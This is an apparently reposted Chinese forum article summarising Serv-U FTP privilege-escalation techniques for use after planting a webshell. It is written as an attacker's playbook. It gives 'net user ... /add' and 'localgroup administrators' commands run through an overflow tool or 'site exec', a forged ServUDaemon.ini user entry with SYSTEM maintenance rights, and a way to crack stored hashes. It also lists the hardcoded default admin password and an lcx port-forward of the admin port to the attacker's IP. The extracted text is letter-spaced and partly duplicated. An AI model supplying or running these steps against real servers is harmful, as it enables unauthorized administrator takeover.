搜索

[20884] 2017-09-03_serv-u提权总结

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-18
2017-09-03_serv-u提权总结 s e r v - u 提 权 总 结 L e m o n S e c   2 0 1 7 - 0 9 - 0 3 s e r v - u 提 权 主 要 分 为 s e r v - u 6 及 以 前 版 本 、 s e r v - u 7 以 下 版 本 的 提 权 ， s e r v - u 7 版 本 提 权 等 。 一 、 一 、 s e r v - u   f t p 本 地 溢 出 权 限 提 升 本 地 溢 出 权 限 提 升 ( 使 用 使 用 6 . 0 以 及 以 前 版 本 以 及 以 前 版 本 ) 1 、 用 S e r v - U 提 权 综 合 工 具 生 成 提 权 工 具 s e r v _ u . e x e 2 、 先 上 传   s e r v _ u . e x e   到 一 个 盘 符 下   比 如 是 d 盘 3 、 执 行 命 令   d : s e r v _ u . e x e 4 、 d : s e r v _ u . e x e   “ n e t   u s e r   u s e r n a m e   p a s s w o r d   / a d d ”   ( 注 意 命 令 要 有 引 号 ) 5 、 d : s e r v _ u . e x e   “ n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   u s e r n a m e   / a d d ”   ( 注 意 命 令 要 有 引 号 ) 二 、 二 、 S e r v U D a e m o n . i n i   文 件 重 写 后 提 权 文 件 重 写 后 提 权 ( 对 对 S e r v U D a e m o n . i n i 有 写 入 的 权 限 有 写 入 的 权 限 ) 。 注 意 ， 我 在 s e r v - u 6 . 4 . 0 6 中 测 试 没 有 成 功 ， 即 虽 然 F T P 用 户 添 加 成 功 ， 但 添 加 的 用 户 没 有 命 令 执 行 权 限 （ 虽 然 显 示 添 加 的 用 户 是 管 理 员 用 户 ） 。 所 以 ， 在 实 际 环 境 中 本 方 法 不 一 定 成 功 ， 不 过 要 尝 试 以 下 。 先 修 改 D o m a i n 来 添 加 用 户 [ D o m a i n 1 ] U s e r 2 = s p i d e r | 1 | 0 然 后 在 S e r v U D a e m o n . i n i 文 件 尾 部 追 下 如 下 代 码 来 添 加 用 户 的 详 细 信 息 ： [ U S E R = s p i g e r | 1 ] P a s s w o r d = s b d 8 b 5 8 b 5 c 2 0 1 e e 5 c c 2 0 f 9 a 8 5 5 1 1 9 7 d 4 a 5 H o m e D i r = c : R e l P a t h s = 3 T i m e O u t = 6 0 0 M a i n t e n a n c e = S y s t e m A c c e s s 1 = C : | R W A M E L C D P A c c e s s 2 = d : | R W A M E L C D P A c c e s s 3 = e : | R W A M E L C D P S K E Y V a l u e s = 添 加 上 述 代 码 并 保 存 后 ， 就 会 在 s e r v - u 中 添 加 用 户 名 为 s p i g e r ， 密 码 是 1 2 3 4 5 6 。 通 过 在 本 地 命 令 行 执 行 f t p   目 标 I P 地 址     命 令 来 连 接 目 标 F T P 服 务 器 。 连 接 后 q u o t e   s i t e   e x e c   n e t   u s e r   s p i g e r   1 2 3 4 5 6   / a d d q u o t e   s i t e   e x e c   n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   s p i g e r   / a d d p s ： 上 述 添 加 的 文 件 中 最 重 要 的 是 M a i n t e n a n c e = S y s t e m 这 句 ， 有 了 这 句 添 加 的 F T P 用 户 才 是 管 理 员 用 户 ， 才 会 有 命 令 执 行 权 限 （ 因 为 最 后 是 通 过 F T F P 执 行 命 令 来 添 加 系 统 用 户 的 ） 。 三 、 三 、 s e r v - u 配 置 文 件 无 修 改 权 限 ， 但 是 可 以 看 到 配 置 文 件 ， 进 行 口 令 破 解 配 置 文 件 无 修 改 权 限 ， 但 是 可 以 看 到 配 置 文 件 ， 进 行 口 令 破 解 看 到 F T P 用 户 的 配 置 文 件 S e r v U D a e m o n . i n i ， 在 其 中 找 到 M a i n t e n a n c e = S y s t e m 的 用 户 ， 该 用 户 就 是 系 统 管 理 员 。 如 果 能 够 成 功 破 解 系 统 管 理 员 的 口 令 ， 就 可 以 利 用 该 管 理 员 执 行 添 加 系 统 管 理 员 的 用 户 （ 类 似 方 法 二 ） 。 s e r v - u 配 置 文 件 中 P a s s w o r d 字 段 就 是 用 户 口 令 加 密 变 换 后 的 字 符 串 ， 破 解 方 法 ： 去 掉 前 两 位 ， 剩 下 的 进 行 m d 5 破 解 ， 破 解 后 再 去 掉 前 两 位 ， 剩 下 的 就 是 F T P 用 户 口 令 。
四 、 四 、 s e r v - u 配 置 文 件 无 修 改 权 限 ， 可 以 用 配 置 文 件 无 修 改 权 限 ， 可 以 用 S e r v - u 管 理 用 户 来 进 行 提 权 管 理 用 户 来 进 行 提 权 （ 这 是 最 常 用 的 方 法 ， 一 般 大 马 中 集 成 的 s e r v - u 提 权 方 法 就 是 本 方 法 ） s e r v - u 的 默 认 管 理 端 口 是 4 3 9 5 8 ， 只 有 本 地 才 能 进 行 连 接 这 个 管 理 端 口 。 s e r v - u 默 认 管 理 账 号 是 L o c a l A d m i n i s t r a t o r , 默 认 密 码 是 ” # l @ $ a k # . l k ; 0 @ P “ ， 这 个 密 码 是 固 定 的 。 如 果 网 站 管 理 员 忘 记 修 改 密 码 ， 那 么 获 取 w e b s h e l l 后 就 可 以 连 接 该 端 口 后 执 行 命 令 来 添 加 系 统 用 户 。 虽 然 ， 网 站 管 理 员 很 少 修 改 s e r v - u 的 这 个 默 认 管 理 账 号 和 口 令 ， 但 是 如 果 管 理 员 修 改 了 ， 我 们 还 可 以 通 过 查 看 S e r v U A d m i n . e x e 文 件 来 获 取 管 理 账 号 和 口 令 。 方 法 如 下 ： 下 载 s e r v - u 目 录 下 的 S e r v U A d m i n . e x e 文 件 ， 在 本 地 用 文 本 文 件 打 开 ， 查 找 L o c a l A d m i n i s t r a t o r 字 符 来 获 取 口 令 位 置 ： 可 以 看 到 s e r v - u 的 管 理 账 号 和 口 令 都 在 文 件 中 ， 仔 细 查 找 即 可 （ 如 果 连 用 户 名 也 修 改 了 ， 就 搜 1 2 7 . 0 . 0 . 1 或 记 住 账 号 和 密 码 在 文 件 中 的 位 置 ） 。 获 取 管 理 账 号 和 口 令 后 就 可 以 利 用 大 马 自 带 的 s e r v - u 来 进 行 提 权 了 。 五 、 s e r v - u   f t p 转 发 端 口 上 一 种 方 法 中 提 到 s e r v - u 的 本 地 管 理 账 号 只 能 本 地 进 行 连 接 ， 但 我 们 可 以 利 用 端 口 转 发 的 方 式 来 将 其 管 理 端 口 转 发 的 本 地 ， 进 而 提 权 。 在 目 标 W e b s h e l l 上 运 行 L C X ： l c x   - s l a v e   你 的 I P   5 0 0 0   1 2 7 . 0 . 0 . 1   4 3 9 5 8 在 本 机 上 运 行 ： l c x   - l i s t e n   5 0 0 0   2 1 打 开 本 地 的 S E R V _ U   在 I P 上 填 入 1 2 7 . 0 . 0 . 1   帐 号 写 L o c a l A d m i n i s t r a t o r   密 码 # l @ $ a k # . l k ; 0 @ P 此 时 的 连 接 过 程 是 ： 本 机 连 接 2 1 端 口 — — > 转 发 往 本 机 5 0 0 0 端 口 — — > 管 道 连 接 至 远 程 机 5 0 0 0 端 口 — — > 转 发 至 远 程 4 3 9 5 8 端 口 连 接 成 功 后 ， 在 本 机 登 陆 S e r v _ U 就 相 当 于 登 陆 了 远 程 的 S e r v _ U 。 你 可 以 F T P 登 陆 本 机 I P , 输 入 上 面 的 帐 号 和 密 码 ， 在 远 程 F T P 服 务 器 上 执 行 命 令 。 — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — - 上 面 是 s e r v - u 6 及 以 下 的 主 要 方 法 ， 其 中 方 法 也 适 用 于 s e r v u - 7 等 版 本 ， 只 是 文 件 路 径 可 能 有 所 变 化 。 下 面 讲 s e r v - u 7 及 以 上 版 本 的 提 权 ， 不 适 用 于 s e r v - u 6 是 因 为 文 件 路 径 发 生 变 化 ， s e r v - u 6 没 有 相 应 文 件 。 s e r v - u 7 中 管 理 员 的 口 令 在 C : P r o g r a m   F i l e s R h i n o S o f t . c o m S e r v - U U s e r s L o c a l   A d m i n i s t r a t o r   D o m a i n . A r c h i v e 文 件 中 ， 破 解 方 法 和 s e r v - u 6 是 一 样 的 。   参 考 文 献 ： 1 、 h t t p : / / w w w . s p i g e r . c n / a r t i c l e / 2 0 6 . h t m l 2 、 h t t p : / / w w w . c n b l o g s . c o m / t o p 5 / a r c h i v e / 2 0 1 0 / 0 6 / 0 3 / 1 7 5 0 8 1 6 . h t m l 3 、 h t t p : / / h i . b a i d u . c o m / d v b b s 1 1 2 / i t e m / 3 3 d 6 f 4 4 6 7 8 c f 7 4 a 3 6 1 d 7 b 9 b b 4 、 h t t p : / / h i . b a i d u . c o m / s d g h g k / i t e m / 3 7 b 4 3 3 c e 7 b c e 1 9 7 4 8 9 a d 9 e 8 2   记 一 次 s e r v - u 提 权 本 人 的 s e r v - u 提 权 过 程 ， 测 试 s e r v - u 版 本 是 6 . 4 1 、 首 先 确 定 是 否 开 启 s e r v - u ( 端 口 4 3 9 5 8 端 口 开 放 ， f t p   b a n n e r ) 。
2 、 看 是 否 能 利 用 s e r v - u 默 认 管 理 用 户 名 和 口 令 来 进 行 提 权 。 即 L o c a l A d m i n i s t r a t o r 与 # l @ $ a k # . l k ; 0 @ P 。 3 、 如 果 默 认 密 码 改 了 ， 则 下 载 S e r v U A d m i n . e x e 文 件 来 查 找 用 户 名 和 口 令 。 4 、 如 果 不 能 利 用 s e r v - u 管 理 员 账 号 来 进 行 提 权 ， 则 查 看 S e r v U D a e m o n . i n i 来 添 加 具 有 管 理 员 权 限 的 F T P 用 户 ， 或 者 破 解 具 有 管 理 员 权 限 的 F T P 用 户 的 口 令 。 获 取 F T P 管 理 员 权 限 的 用 户 后 ， 通 过 执 行 命 令 的 方 式 来 添 加 系 统 用 户 。 然 后 本 地 连 接 F T P 用 户 来 执 行 命 令 添 加 系 统 管 理 员 用 户 。 5 、 除 此 之 外 ， 还 可 以 将 s e r v - u 的 端 口 通 过 l c x 将 其 转 发 出 来 ， 本 地 进 行 s e r v - u 的 管 理 与 提 权 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理